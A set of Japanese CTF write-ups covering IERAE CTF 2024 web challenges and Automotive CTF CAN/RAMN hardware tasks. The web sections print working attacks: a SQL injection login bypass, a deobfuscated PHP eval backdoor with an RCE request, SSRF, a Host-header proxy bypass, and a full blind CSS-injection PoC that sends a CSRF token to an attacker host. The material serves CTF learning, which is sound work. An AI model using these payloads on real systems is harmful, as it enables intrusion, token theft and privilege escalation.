ということで、何かのSHA256ハッシュを取ったものが、hash.txtとして置かれているようである。ChatGPTでpythonでwordList.txtに書かれた各行をsha256ハッシュにして、hash.txtと一致するものを出力したいのように指示してコードを書かせる。

import hashlib

# ファイルのパスを指定します
wordlist_path = 'wordList.txt'
hashlist_path = 'hash.txt'

# hash.txt からハッシュ値を読み込む
with open(hashlist_path, 'r') as hash_file:
    hash_set = {line.strip() for line in hash_file}  # 各行のハッシュ値をセットに格納

# wordList.txt の各行をハッシュ化し、hash.txt 内のいずれかのハッシュと一致するか確認
with open(wordlist_path, 'r') as wordlist_file:
    for word in wordlist_file:
        word = word.strip()  # 各行のテキストを読み込み
        word_hash = hashlib.sha256(word.encode()).hexdigest()  # SHA256ハッシュを生成

        # ハッシュがhash.txt内に存在する場合、そのテキストを出力
        if word_hash in hash_set:
            print(word)

これをsolver.pyとして保存して実行すると答えが出てくる。

$ python3 solver.py 
blueberrypancake

[web] cryptid-hunters

ソースコード無し。以下のようなヒントが与えられている。

Hint: The hunters' webmaster is very tech illiterate. It seems like he just followed some intro level tutorial or used some free AI tool for the code.

アクセスして巡回するとlogin.phpというサイトがあり、ヒントが示唆するような基本的な脆弱性を試すと、SQL Injectionが刺さってフラグが出てくる。

username -> admin
password -> ' or 1=1 #

とすれば良い。

[web] entangled-server

難読化されたphpコードが与えられる。難読化を根性で復元して、変名すると以下のようになる。復元フェースが本編だと思うが、文字列を作ってそうな所をphpインタプリターを実行して文字列にちまちま変形していくのを繰り返していけばよい。

<?php

@ini_set("error_log",NULL);
@ini_set("log_errors",0);
@ini_set("max_execution_time",0);
@set_time_limit(0);
$input=NULL;
$key=NULL;
$GLOBALS["secret"]="5p1n-th3-51lly-5tr1ng5";
global $secret;
function f1($input,$key){
    $res="";
    for($i=0; $i<strlen($input);){
        for($j=0; $j<strlen($key) && $i<strlen($input); $j++,$i++){
            $res.=chr(ord($input[$i])^ord($key[$j]));
        }
    }
    return $res;
}

function f2($input,$key){
    global $secret;
    return f1(f1($input,$secret),$key);
}

if(!$input){
    foreach($_POST as $_key => $_val){
        $input=$_val;
        $key=$_key;
    }
}

$input = @json_decode(f2(base64_decode($input),$key),true);

if(isset($input["ak"]) && $secret==$input["ak"]){
    if($input["a"]=="e"){
        eval($input[d]);
    }
    exit();
}

?>

secretとkeyでXORしているのでsecretとkeyを一致させてやれば変換後は入力と同じものとなる。よって、以下のようなリクエストを送ればRCEできる。

POST /?c=id HTTP/1.1
Host: [redacted]:1337
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 135

5p1n-th3-51lly-5tr1ng5=eyJhayI6IjVwMW4tdGgzLTUxbGx5LTV0cjFuZzUiLCAiYSI6ImUiLCAiZCI6ImVjaG8gcGFzc3RocnUoJ2NhdCAvZmxhZy50eHQnKTsifQ%3d%3d

base64エンコード部分は{"ak":"5p1n-th3-51lly-5tr1ng5", "a":"e", "d":"echo passthru('cat /flag.txt');"}

[web] paranormal-picture

ソースコード有り。pythonで書かれたwebサイトが与えられる。フラグは以下にある。

@app.route('/flag')
def flag():
    if request.remote_addr == '::ffff:127.0.0.1' or request.remote_addr == '::1':
        return render_template('flag.html', FLAG=os.environ.get("FLAG"))

    else:
        return render_template('alarm.html'), 403

SSRFをしないといけない。SSRFができるポイントは以下にある。

def verifyBlog(url):
    blog_list = ["blog","cryptid","real","666",".org"]
    for word in blog_list:
        if word not in url:
            return False
    return True


@app.route('/', methods=['GET', 'POST'])
def index():

    if request.method == 'POST':
        url = request.form['url']
        try:
            result = verifyBlog(url)
            if not result:
                return render_template('index.html', error=f"Please submit a blog!")
        except:
            return render_template('index.html', error=f"Please submit a blog!")

        r = requests.get(url)

        return render_template('index.html', result=r.text)
    return render_template('index.html')

urlを入力して踏ませることができるが、verifyBlogを通す必要がある。これは["blog","cryptid","real","666",".org"]をURLに全て含んでいる必要があるというものであるが、この文字列がURLに入ってさえいればいいので、query-stringsとして埋め込むことにしよう。よって、http://localhost/flagにアクセスしたいのだが、

http://localhost/flag?blogcryptidreal666.org

を送ればフラグが得られる。

Automotive CTF 2024 World Final Writeup

予選国内決勝を経て、世界決勝にTeamONEの一員として行ってきました。結果は4位。チームメンバーのWriteupはここ。チームメンバーと運営に感謝です!

xNexus

これまでも出題されてきた、xNexusというVSOCプラットフォームが与えられて設問に答えていく問題群。#1に2時間溶かした挙句解けず、やらかしました…

CAN Bus Anomaly #2

Someone is trying to kill my engine. Determine what vehicle I am driving including the year by tracking CAN ID 0x7E0. Flag Format example: bh{Toyota Hilux 2021}

xNexusから該当する0x7E0のCAN通信を持って来ると以下の通信が記録されていた。

0x000007e0   05 31 01 40 44 ff 00 00

ここから車種と年代を特定する問題。この資料に該当する通信を見つけることができる。これの51ページを見ると、Ford社の車の通信であることが分かり、15ページを見ると更にa 2010 Ford Escapeと書いてあった。

つまり、bh{Ford Escape 2010}が答え。

RAMN

日本決勝でも題材として出題されたRAMNに関する問題群。実機を使わない問題もあった。

[FILE] SWD 1

問題文の転記を忘れたが、以下のようなロジアナのログが与えられるので、解釈してデータを取り出せという問題。

Time;CH 1 SWCLK;CH 2 SWDIO
0.000000000;1;1
0.594872000;0;1
0.594878000;1;1
0.594884000;0;1
0.594890000;1;1
0.594894000;0;0
0.594900000;1;0
…

SWCLKとSWDIOという用語で検索するとSerial Wire Debugという通信であることが分かる。ロジアナのログというのに慣れておらず、これを自力パースか?と思ってフォーマットを調べたり、無駄な1時間を過ごしてしまったが、素直にPulseViewで読み込むことが出来た。;,に変換して、csv形式でPulseViewに読み込ませる。Protocol DecoderでSWDを選択し、SWCLKとSWDIOと適切に指定すれば以下のように、いい感じにデコードされてくるので、全部ダンプしてくる。

1-15 SWD: : W AP4
18-22 SWD: : OK
28-90 SWD: : 0xe000ed00
94-108 SWD: : R APc
111-115 SWD: : OK
117-179 SWD: : 0x00000000
187-201 SWD: : RDBUFF
204-208 SWD: : OK
210-272 SWD: : 0x410fd212
280-294 SWD: : R CTRL/STAT
297-301 SWD: : OK
303-365 SWD: : 0xf0000040
372-386 SWD: : W AP4
389-393 SWD: : OK
399-461 SWD: : 0xe0042000
465-479 SWD: : R APc
482-486 SWD: : OK
488-550 SWD: : 0x00000000
…

エラーも無く、とてもいい感じ。出てきたものをなんとなく眺めていると、SWD: : W AP4の後にアドレスが書いてあって、SWD: : RDBUFFまでの間にデータが入っているような感じに読める。それっぽく取り出すスクリプトを書いて出してみると文字列が4bytes毎に逆になっていた、つまり、リトルエンディアンだったのでその辺りを調整して、以下のようなスクリプトを書いて全部持って来る。

res = {}

def rev(s):
    return s[6:] + s[4:6] + s[2:4] + s[:2]

with open("annon.txt") as fp:
    state = 0
    addr = ""
    buf = []
    for _line in fp.readlines():
        line = _line[:-1]
        if line.endswith("SWD: : W AP4"):
            assert state == 0
            state = 1
        elif state == 1 and line.endswith(" SWD: : OK"):
            state = 2
        elif state == 2:
            addr = line.split(':')[2]
            buf = []
            state = 3
        elif state == 3:
            if line.endswith("SWD: : RDBUFF"):
                res[addr] = buf
                state = 0
            elif "SWD: : 0x" in line:
                buf.append(rev(line.split(":")[2][3:]))

for addr,bufs in res.items():
    print(addr, bufs)

これで全部持ってこれるのでhex2binaryしてstringsすればフラグが出てくる。

[D] I2C

This flag will be transmitted every second on CAN with ID 0x778 if you can send any byte to ECU D on its I2C interface (port I2C2, address 0x63). Note: I2C pins have internal pull-up resistors. Pin layout is available here.

RAMNのECU DにI2C経由で書き込みを行うことができれば、CAN IDの0x778でフラグが出力されてくるという問題。ここを見ると、ECU Dのピン配置の番号は得られるのだが、番号と用途の対応表を見ても、どう刺せばいいか分からない。ロジアナで波形を見ながら用途を推測するような高等技術は持っていなかったため、検索を進めていくと、RAMNのGitHubのレポジトリにI2Cで使われる番号を書いた資料を見つけることが出来た。

https://github.com/ToyotaInfoTech/RAMN/blob/main/hardware/RAMNV1_pinout.pdf

ここから、

SCL -> PB10 ->14
SDA -> PB11 -> 15

ということが分かるので、その通り結線してやる。自分はtkitoさんから借りたBus Pirateを使ってI2C通信を行った。これで準備はできたので、CAN通信を受け取る準備をして、以下のようにBus Pirateでアドレス0x63に対して書き込みを行う。

I2C> [0x63 0x00 0x00 0x01]

するといい感じにACKが帰ってきて、CAN通信をcandumpで受け取っている方のコンソールで

 (1729536865.698447)  can0  778   [8]  62 68 7B 49 4E 46 41 4D   'bh{INFAM'
 (1729536865.700350)  can0  778   [8]  4F 55 53 5F 52 45 4D 41   'OUS_REMA'
 (1729536865.708109)  can0  778   [3]  4B 45 7D                  'KE}'

こんな感じにフラグが送られてくる。

IERAE CTF 2024 Writeups

https://ctftime.org/event/2441

チームhamayanhamayanのhamayanhamayanです。

[misc] OMG

アクセスすると

Let's press the browser back button 33 times. / 戻るボタンを33回押そう!

と言われる。とりあえず、Burpを開いてソースコードを読むと、GET /に以下のような記載がある。

if (e.state.i == 0) {
    cntdwn.innerText = atob("SUVSQUV7VHIzbmR5XzRkcy5MT0x9");
    init();
}

いかにも怪しいので、選択するとInspectorで自動でbase64デコードされてフラグが出てきた。

[web] Futari APIs

ソースコード有り。javascriptで書かれたサイトが与えられ、2つのサーバーが立てられている。

1つはfrontend.tsで、外部にポートが開放されているサイト。入力を元にuser-search.ts側にリクエストを飛ばして通信を中継する。ソースコードは以下。

const FLAG: string = Deno.env.get("FLAG") || "IERAE{dummy}";
const USER_SEARCH_API: string = Deno.env.get("USER_SEARCH_API") ||
  "http://user-search:3000";
const PORT: number = parseInt(Deno.env.get("PORT") || "3000");

async function searchUser(user: string, userSearchAPI: string) {
  const uri = new URL(`${user}?apiKey=${FLAG}`, userSearchAPI);
  return await fetch(uri);
}

async function handler(req: Request): Promise<Response> {
  const url = new URL(req.url);
  switch (url.pathname) {
    case "/search": {
      const user = url.searchParams.get("user") || "";
      return await searchUser(user, USER_SEARCH_API);
    }
    default:
      return new Response("Not found.");
  }
}

Deno.serve({ port: PORT, handler });

2つ目はuser-search.tsでバックエンドでユーザー検索を行うサイト。実装は以下の形。

type User = {
  name: string;
};

const FLAG: string = Deno.env.get("FLAG") || "IERAE{dummy}";
const PORT: number = parseInt(Deno.env.get("PORT") || "3000");

const users = new Map<string, User>();
users.set("peroro", { name: "Peroro sama" });
users.set("wavecat", { name: "Wave Cat" });
users.set("nicholai", { name: "Mr.Nicholai" });
users.set("bigbrother", { name: "Big Brother" });
users.set("pinkypaca", { name: "Pinky Paca" });
users.set("adelie", { name: "Angry Adelie" });
users.set("skullman", { name: "Skullman" });

function search(id: string) {
  const user = users.get(id);
  return user;
}

function handler(req: Request): Response {
  // API format is /:id
  const url = new URL(req.url);
  const id = url.pathname.slice(1);
  const apiKey = url.searchParams.get("apiKey") || "";

  if (apiKey !== FLAG) {
    return new Response("Invalid API Key.");
  }

  const user = search(id);
  if (!user) {
    return new Response("User not found.");
  }

  return new Response(`User ${user.name} found.`);
}

Deno.serve({ port: PORT, handler });

フラグは、2つのサーバ間での認証のために使われている。FLAGが使われている箇所を見てみて、怪しい部分は無いだろうか。

new URLでプロトコルを変える

色々試した結果、以下の部分が攻撃できた。

const uri = new URL(`${user}?apiKey=${FLAG}`, userSearchAPI);

URLに含まれるフラグを取得する必要があるのだが、URLに含まれる入力をそのまま出力させると言えば… dataプロトコルですね。URLクラスは結構色々できることが知られているので、色々ガチャガチャやっていると、/search?user=data:text/html,でフラグが送り返されてきた。

Denoで試すと以下のような感じ。

$ deno
Deno 1.44.2
exit using ctrl+d, ctrl+c, or close()
REPL is running with all permissions allowed.
To specify permissions, run `deno repl` with allow flags.
> const user = "data:text/html,";
undefined
> const FLAG = "IERAE{dummy}";
undefined
> const userSearchAPI = "http://user-search:3000";
undefined
> new URL(`${user}?apiKey=${FLAG}`, userSearchAPI);
URL {
  href: "data:text/html,?apiKey=IERAE{dummy}",
  origin: "null",
  protocol: "data:",
  username: "",
  password: "",
  host: "",
  hostname: "",
  port: "",
  pathname: "text/html,",
  hash: "",
  search: "?apiKey=IERAE{dummy}"
}

このように、httpをdataプロトコルに変換することができ、そのままURLの内容を折り返すことができる。

[web] Great Management Opener

ソースコード有り。pythonで書かれたサイトとadmin botが与えられる。

Admin bot

Admin botから見てみよう。

const TIMEOUT_SECONDS = 30; // 本番では50に引き上げられていた[redacted]export const visit = async (url) => {
  console.log(`start: ${url}`);

  const browser = await puppeteer.launch({
    headless: "new",
    executablePath: "/usr/bin/chromium",
    args: [
      "--no-sandbox",
      "--disable-dev-shm-usage",
      "--disable-gpu",
      '--js-flags="--noexpose_wasm"',
    ],
  });

  const context = await browser.createBrowserContext();

  try {
    // Login with admin user
    const page = await context.newPage();
    await page.goto(`${APP_URL}/login`, { timeout: 3000 });
    await page.waitForSelector("#username");
    await page.type("#username", APP_ADMIN_USERNAME);
    await page.waitForSelector("#password");
    await page.type("#password", APP_ADMIN_PASSWORD);
    await page.click("button[type=submit]");
    await sleep(1 * 1000);

    await page.goto(url, { timeout: 3000 });
    await sleep(TIMEOUT_SECONDS * 1000);
    await page.close();
  } catch (e) {
    console.error(e);
  }

  await context.close();
  await browser.close();

  console.log(`end: ${url}`);
};

Adminとしてログインした後、30秒間(本番では50秒間)sleepが入って終了する。XS-Leak的な手法が求められている雰囲気がある。Cookieにフラグが無いのでXSSという訳ではなさそうだ。

フラグの場所と目標

フラグの場所を確認すると以下にある。

@app.route('/admin/flag')
@login_required
@admin_required
def admin_flag():
    return app.config['FLAG']

実装は省略するが@admin_requiredとあるようにadminであればアクセスが可能である。adminアカウントは環境が立ち上がった段階で作成されて、Admin Botはadminアカウントでログインしてから、指定のURLを開くのだが、実はもう1つadminになれる方法があり、以下の部分。

@app.route('/admin', methods=['GET', 'POST'])
@login_required
@admin_required
def admin():
    if request.method == 'POST':
        username = request.form.get('username')
        csrf_token = request.form.get('csrf_token')

        if not username or len(username) < 8 or len(username) > 20:
            return redirect(url_for('admin', message='Username should be between 8 and 20 characters long'))

        if not csrf_token or csrf_token != session.get('csrf_token'):
            return redirect(url_for('admin', message='Invalid csrf_token'))

        user = User.query.filter_by(username=username).first()
        if not user:
            return redirect(url_for('admin', message='Not found username'))

        user.is_admin = True
        db.session.commit()
        return redirect(url_for('admin', message='Success make admin!'))
    return render_template('admin.jinja2', csrf_token=session.get('csrf_token'))

こちらも同様にadminアカウントが必要になるが、特定のユーザーを指定してadminに昇格させることができる。Admin Botを使ってここにアクセスさせ、自分で作ったユーザーをadminに昇格させることでフラグが手に入れられそうだ。

うまくやればAdmin BotでPOST通信を発生させることはできるが、csrf_tokenが必要になる。このトークンはログイン時に発行されてセッションに保管されている。login関数のsession["csrf_token"] = os.urandom(16).hex()の部分である。なので、もう少しbreakdownすると、csrf_tokenを手に入れることができれば、admin関数を使うことができるということになる。

csrf_tokenをどう取得するか。

埋め込み点

何か他に使える脆弱性が無いか探してみると、base.jinja2にHTML Injection出来そうな箇所が存在する。

{% if request.args.get('message') %}
    <div class="alert alert-secondary mt-3">
        {{ request.args.get('message')|truncate(64, True) }}
    </div>
{% endif %}

これはどのページでも使われる部分で、任意のサイトで?message=<s>injectionのようにするとHTMLタグが埋め込まれることが確認できる。だが、__init__.pyでCSPが設定されているため、XSSまでつなげることができない。

response.headers['Content-Security-Policy'] = (
    "script-src 'self'; "
    "style-src * 'unsafe-inline'; "
)

style-srcに関する設定が大分緩いことに気が付く。CSS Injectionは可能なようだ。

Blind CSS Injection / XS-Leaks with CSS Injection

探してみると意外と日本語資料が無い。XS-Leaks系が初めてという方はCTFで出題されたXS-Leaksが非常に良いのでオススメ。(Blind CSS Injectionとも呼ばれている気もするが、概念としてはXS-Leaksの方がキチンと包含していそうな気もする。)

csrf_tokenを取得するために、Blind CSS Injectionが利用できる。以下のようなCSSを埋め込むことを考える。

input[type=hidden][value^="0"]+div {{ background: url("http://[yoursite].example/leak?otp=0"); }}
input[type=hidden][value^="1"]+div {{ background: url("http://[yoursite].example/leak?otp=1"); }}
input[type=hidden][value^="2"]+div {{ background: url("http://[yoursite].example/leak?otp=2"); }}
...
input[type=hidden][value^="e"]+div {{ background: url("http://[yoursite].example/leak?otp=e"); }}
input[type=hidden][value^="f"]+div {{ background: url("http://[yoursite].example/leak?otp=f"); }}

これを埋め込むと、csrf_tokenは<input type="hidden" name="csrf_token" value="7efe1184567de57ef4509e2778d8a253">のようにHTMLに存在するので、valueの先頭が合うCSSが発動することになる。つまり、今回は7から始まっているので、http://[yoursite].example/leak?otp=7のような通信が発生し、最初が7から始まることを検知することができる。

これを繰り返して先頭から順にhexの32文字から成るトークンを特定して、それを使ってPOST /adminをするという方針で解いていく。

まず、適当に以上のようなCSSを返すエンドポイントを用意してホストしておく。この時、base.jinja2の埋め込み先の文字数制限に注意しておく必要があり、{{ request.args.get('message')|truncate(64, True) }}のように64文字制限がある。なので、ngrokなどでURLを作ると64文字に収まらなくなるので、自分は適当にVPSを借りてIPアドレスで指定した。

HTMLインジェクションでCSS読み込みを埋め込むときは以下のようにやればいい。

/admin?message=<link%20rel='stylesheet'%20href='http://[your-ip-address]/v1'%20/>

linkタグを使って埋め込んでいる。これでhttp://[your-ip-address]/v1にアクセスしてCSSを読み込んで適用してくれる。これで1回分は読み取ることができる。

自動化する

Blind CSS Injectionによる読み取りは32回繰り返す必要がある。よって、Admin Botに1回文のpayloadをそのまま踏ませるのではなく、踏み台のサイトを用意して32回踏ませることにする。具体的には以下のようなHTMLページを何処かでホストして踏ませる。

<script>
    const sleep = ms => new Promise(r => setTimeout(r, ms));
    setTimeout(async () => {{
        for (let i = 0; i < 32; i++) {{
            open("http://web:5000/admin?message=<link%20rel='stylesheet'%20href='http://[your-ip-address]/v1'%20/>");
            await sleep(2 * 1000);
        }}
    }}, 0);
</script>

/v1/leakについてはFlaskで(不要な部分をかなり省略しているが)以下のように実装した。

OTP = ''

@app.route('/v1')
def v1():
    global OTP
    css = ''
    for c in "0123456789abcdef":
        css += f'input[type=hidden][value^="{OTP}{c}"]+div {{ background: url("{HOST}/leak?otp={OTP}{c}"); }}\n'
    return css, 200, {'Content-Type': 'text/css'}

@app.route('/leak')
def leak():
    global OTP
    OTP = request.args['otp']
    print(OTP)
    return 'OK'

これで/v1CSSを返し、その結果を/leakで受け取り、内部的にtokenを更新して、また次に/v1が呼ばれたら次の文字を加えてCSSを返し…ということをする。これでトークンをすべて一度に取得することができる。

本番では、これでは遅かったので一度に2文字ずつ抜き取るような実装を最終的には使った。最後にPoCをすべて載せるが、/v2が2文字ずつ抜き取るバージョンである。

全てを繋げる

これで準備が整った。

  1. [手動で] adminに昇格したいユーザーを作成する
  2. [Admin Bot経由で] PoCコードを使い、adminユーザーのcsrf_tokenを盗み、先ほど作ったユーザーをadminに昇格させる
  3. [手動で] 作ったユーザーでログインして/admin/flagにアクセスするとフラグが手に入る

PoCコードは最終的に以下のようになる。

# https://book.hacktricks.xyz/pentesting-web/xs-search/css-injection

from flask import Flask, request
import string
import time

app = Flask(__name__)

HOST = 'http://[victim-server]'
OTP = ''

BASE = 'http://web:5000'
@app.route('/entry')
def entry():
    html = f'''
<script>
    const sleep = ms => new Promise(r => setTimeout(r, ms));
    setTimeout(async () => {{
        for (let i = 0; i < 32 / 2; i++) {{
            open("{BASE}/admin?message=<link%20rel='stylesheet'%20href='{HOST}/v2'%20/>");
            await sleep(2 * 1000);
        }}
        open("{HOST}/gogo");
    }}, 0);
</script>
'''
    return html, 200, {'Content-Type': 'text/html'}

USERNAME = '[your-username]'
@app.route('/gogo')
def gogo():
    global OTP
    html = f'''
<form id=form target=poc action="{BASE}/admin" method="POST">
    <input name="username" value="{USERNAME}">
    <input name="csrf_token" value="{OTP}">
    <button>submit</button>
</form>
<script>
    const sleep = ms => new Promise(r => setTimeout(r, ms));
    setTimeout(async () => {{
        var win = open('about:blank', 'poc');
        form.submit();
    }}, 0);
</script>
'''
    return html, 200, {'Content-Type': 'text/html'}

@app.route('/v2')
def v2():
    global OTP
    css = ''
    for c1 in "0123456789abcdef":
        for c2 in "0123456789abcdef":
            css += f'input[type=hidden][value^="{OTP}{c1}{c2}"]+div {{ background: url("{HOST}/leak?otp={OTP}{c1}{c2}"); }}\n'
    return css, 200, {'Content-Type': 'text/css'}

@app.route('/leak')
def leak():
    global OTP
    OTP = request.args['otp']
    print(OTP)
    return 'OK'


if __name__ == '__main__':
    app.run(host='::', port=80)

[web] babewaf

ソースコード有り。javascriptで書かれたプロキシサーバーとバックエンドサーバーが与えられる。

プロキシサーバーは以下のように実装されていて、かなり読みやすい。

const express = require("express");
const { createProxyMiddleware } = require("http-proxy-middleware");

const app = express();
const BACKEND = process.env.BACKEND;

app.use((req, res, next) => {
  if (req.url.indexOf("%") !== -1) {
    res.send("no hack :)");
  }
  if (req.url.indexOf("flag") !== -1) {
    res.send("🚩");
  }
  next();
});

app.get(
  "*",
  createProxyMiddleware({
    target: BACKEND,
  }),
);

app.listen(3000);

%とflagがURLに入っていると弾かれる。後ろのbackendサーバーへはhttp-proxy-middlewareを使って転送している。

バックエンドサーバーもかなり簡潔。DenoとHonoで構築されている。

import { Hono } from 'hono'
import { serveStatic } from 'hono/deno'

const app = new Hono()
const FLAG = Deno.env.get("FLAG");

app.get('/', serveStatic({ path: './index.html' }))

app.get('/givemeflag', (c) => {
  return c.text(FLAG)
})

export default app

GET /givemeflagができればフラグがもらえる。だが、これはプロキシサーバーでブロックされていてアクセスできない。

http-proxy-middlewareを怪しむ

ここからひたすら頭を打ち付けて解く。Honoのルーティングの挙動で何かが起こるか…とも考えたが、書き方も一般的で大文字小文字とかユニコードガチャぐらいしか方針が思い浮かばない。よって、http-proxy-middlewareを叩くことにした。(…というより、叩くことにしたら解けた)

最初はX-Forwarded-Prefixみたいなヘッダーで変換ができないか色々試したがダメだった。次に、それほど量もなさそうだったので、http-proxy-middlewareのコードを全部眺めることにした。使えそうなコードが無いか探すと面白いものがあった。

https://github.com/chimurai/http-proxy-middleware/blob/master/src/plugins/default/logger-plugin.ts#L23-L26

  proxyServer.on('error', (err, req, res, target?) => {
    const hostname = req?.headers?.host;
    const requestHref = `${hostname}${req?.url}`;
    const targetHref = `${(target as unknown as any)?.href}`; // target is undefined when websocket errors

Hostヘッダーを利用している!この部分が実際の変換処理で使われているか分からないが実験してみる。バックエンド側のサーバーを以下のように書き換えて変換を見てみる。

app.get('*', (c) => {
  return c.text(c.req.path)
})

これでガチャガチャやっていると、

GET /fuga HTTP/1.1
Host: http://hoge/


-> 

//hoge//fuga

というのが出てきた。勝ち筋が見えてきて、ここから更にガチャガチャやって最終的に以下のようなリクエストでフラグが得られた。バックエンドには/givemeflag?/のようにして渡される。

GET / HTTP/1.1
Host: http:/givemeflag?
Connection: keep-alive

Automotive CTF Japan 決勝 Writeup

Automotive CTF Japan 予選 Writeup - はまやんはまやんはまやんの国内決勝。TeamONEとして出場し、2位でアメリカ決勝進出! チームメンバーのWriteup 1 2 3

xNexux

予選同様、xNexusというVSOCプラットフォームが与えられて、設問に答えていく。

CAN Bus Anomaly #1

xNexusでCAN ID 0x3B9と0x3D1のCANバス異常を追跡して、その脆弱性IDを特定してください。ハッカーが通常参照するものを適切なフラグ形式で提出してください。

脆弱性ID、ハッカーが通常参照するものということでCVEだろう。cve 3b9 3d1で検索すると検索結果の1番目に出てくる。bh{CVE-2022-26269}で正解。

CAN Bus Anomaly #2

おっと、誰かが車両の全シリンダーへの燃料供給を停止するCANフレームを送信しています。完全なCANフレームを提供してください。 フラグ形式の例:bh{1337#0201}

フラグ形式にあるものはcandumpとかで出力されるSocketCAN compact形式と似ているので、その形式で書くように答えよということだろう。

xNexusのOAT検出で記録されているCANのログデータを見ていくと予選で見たようなログが残っており、xNexuxの環境はそのまま使っていてログを追加しているようだった。つまり、ID的には2127827以降を見れば十分だろうということでログを絞って確認していった。するとCAN IDは10通りに絞られる。

  • 000 -> 全部0で何かしている感じは無い
  • 094,645,760,768 -> 予選でも出てきたし、中身も同じ。
  • 0b6 -> 0x010001を1回送信
  • 3b9 -> 色んなcandataを送っている
  • 3d1 -> 色んなcandataを送っている
  • 7df -> 0x0201を複数回送信
  • 7e0 -> 色んなcandataを送っている

という感じ。とりあえずcandataの種類が1種類しかない0b6と7dfを送ってみるが違う。CAN IDでググってみると、こういうQiitaが見つかり、0x7fdか0x7e0か?という感じになる、7dfは既に試しているので7e0か?

7e0でググってみるもよさそうな情報が見当たらず、7e0は10種類くらいcandataのバリエーションがあったが、とりあえず出してみるかと一番多く記録されていた06301c000fa50100をあてずっぽうで出すと正答だった。

bh{7e0#06301c000fa50100}が正解。

RAMN

RAMNという機器が与えられるので、問いに答えていく問題群。決勝の問題のほとんどを占めていた。

[ECU C] Noiseless

この問題、本質的な部分は全く何もしておらず、自分がポイント泥棒をした問題。CANとSteganographyのタグが付いていた。問題文は以下。

ブレーキのCANメッセージの最下位ビットはノイズではありません。
注意: 1分間のCANメッセージログにフラグを取得するために必要なすべてが含まれています。

自分がこの問題に取り組み始めた段階で既に問題を解くカギは既に揃っていた。

laysakuraさんが既に1分間分のCANメッセージをダンプしてチーム内共有してくれていた。
beaさんから問題の概要を教えてもらい、ダンプを受け取る。
kusanoさんからブレーキのCAN IDは007ですと教えてもらう。
tkitoさんからCAN IDが007であるときのcandataのフォーマットを教えてもらう。

02 83 6E F0 7B 06 FD 2E
だと
02 -> 忘れた。固定
83 -> 忘れたが、80,81,82,83になってる
6E F0 -> カウンター(ログを見ても順番にインクリメントされている)
7B 06 FD 2E -> CRC

ということでフォーマット上は2バイト目くらいしか恣意的に何かを埋め込めそうな所が無い。

kusanoさん「2バイト目の最下位ビットを持ってきてやればよさそうなんですよね~」
hamayanhamayan「実装しますね!」

https://gchq.github.io/CyberChef/#recipe=Find_/_Replace(%7B'option':'Regex','string':','%7D,'',true,false,true,false)Find_/_Replace(%7B'option':'Regex','string':'0x80'%7D,'0',true,false,true,false)Find_/_Replace(%7B'option':'Regex','string':'0x81'%7D,'1',true,false,true,false)Find_/_Replace(%7B'option':'Regex','string':'0x83'%7D,'1',true,false,true,false)Find_/_Replace(%7B'option':'Regex','string':'0x82'%7D,'0',true,false,true,false)From_Binary('Space',8)&input=MHg4MCwweDgxLDB4ODIsMHg4MiwweDgzLDB4ODEsMHg4MSwweDgyLDB4ODIsMHg4MywweDgyLDB4ODMsMHg4MiwweDgxLDB4ODAsMHg4MCwweDgyLDB4ODMsMHg4MywweDgzLDB4ODMsMHg4MywweDgyLDB4ODEsMHg4MCwweDgxLDB4ODEsMHg4MiwweDgyLDB4ODIsMHg4MSwweDgyLDB4ODAsMHg4MywweDgxLDB4ODIsMHg4MywweDgwLDB4ODAsMHg4MCwweDgyLDB4ODEsMHg4MywweDgzLDB4ODMsMHg4MiwweDgzLDB4ODEsMHg4MCwweDgzLDB4ODAsMHg4MiwweDgxLDB4ODIsMHg4MywweDgwLDB4ODIsMHg4MiwweDgxLDB4ODMsMHg4MiwweDgwLDB4ODAsMHg4MCwweDgwLDB4ODMsMHg4MCwweDgyLDB4ODEsMHg4MCwweDgzLDB4ODEsMHg4MCwweDgzLDB4ODIsMHg4MiwweDgwLDB4ODEsMHg4MiwweDgxLDB4ODAsMHg4MywweDgwLDB4ODEsMHg4MywweDgxLDB4ODEsMHg4MywweDgwLDB4ODEsMHg4MCwweDgzLDB4ODIsMHg4MiwweDgwLDB4ODIsMHg4MiwweDgzLDB4ODIsMHg4MiwweDgzLDB4ODAsMHg4MCwweDgxLDB4ODAsMHg4MywweDgxLDB4ODEsMHg4MCwweDgyLDB4ODAsMHg4MSwweDgwLDB4ODEsMHg4MywweDgxLDB4ODIsMHg4MywweDgwLDB4ODMsMHg4MiwweDgzLDB4ODAsMHg4MCwweDgwLDB4ODIsMHg4MCwweDgzLDB4ODIsMHg4MywweDgwLDB4ODIsMHg4MywweDgxLDB4ODMsMHg4MiwweDgwLDB4ODMsMHg4MCwweDgzLDB4ODAsMHg4MywweDgwLDB4ODIsMHg4MCwweDgzLDB4ODMsMHg4MSwweDgxLDB4ODMsMHg4MCwweDgzLDB4ODIsMHg4MSwweDgzLDB4ODIsMHg4MiwweDgwLDB4ODEsMHg4MiwweDgwLDB4ODEsMHg4MywweDgwLDB4ODEsMHg4MiwweDgwLDB4ODIsMHg4MCwweDgxLDB4ODEsMHg4MSwweDgxLDB4ODIsMHg4MSwweDgzLDB4ODAsMHg4MSwweDgwLDB4ODAsMHg4MSwweDgwLDB4ODEsMHg4MCwweDgyLDB4ODAsMHg4MywweDgxLDB4ODIsMHg4MCwweDgyLDB4ODAsMHg4MCwweDgxLDB4ODAsMHg4MiwweDgxLDB4ODAsMHg4MywweDgzLDB4ODIsMHg4MSwweDgyLDB4ODIsMHg4MiwweDgzLDB4ODAsMHg4MywweDgyLDB4ODMsMHg4MCwweDgzLDB4ODMsMHg4MywweDgzLDB4ODMsMHg4MCwweDgxLDB4ODAsMHg4MywweDgyLDB4ODIsMHg4MiwweDgyLDB4ODIsMHg4MywweDgyLDB4ODIsMHg4MywweDgwLDB4ODIsMHg4MywweDgyLDB4ODMsMHg4MSwweDgzLDB4ODAsMHg4MiwweDgwLDB4ODMsMHg4MiwweDgzLDB4ODEsMHg4MSwweDgyLDB4ODEsMHg4MCwweDgxLDB4ODAsMHg4MywweDgwLDB4ODAsMHg4MiwweDgyLDB4ODIsMHg4MywweDgyLDB4ODEsMHg4MCwweDgwLDB4ODEsMHg4MSwweDgzLDB4ODAsMHg4MCwweDgxLDB4ODIsMHg4MSwweDgwLDB4ODEsMHg4MiwweDgyLDB4ODIsMHg4MywweDgzLDB4ODEsMHg4MywweDgzLDB4ODAsMHg4MywweDgwLDB4ODMsMHg4MSwweDgyLDB4ODAsMHg4MCwweDgzLDB4ODIsMHg4MCwweDgzLDB4ODMsMHg4MCwweDgzLDB4ODIsMHg4MCwweDgwLDB4ODIs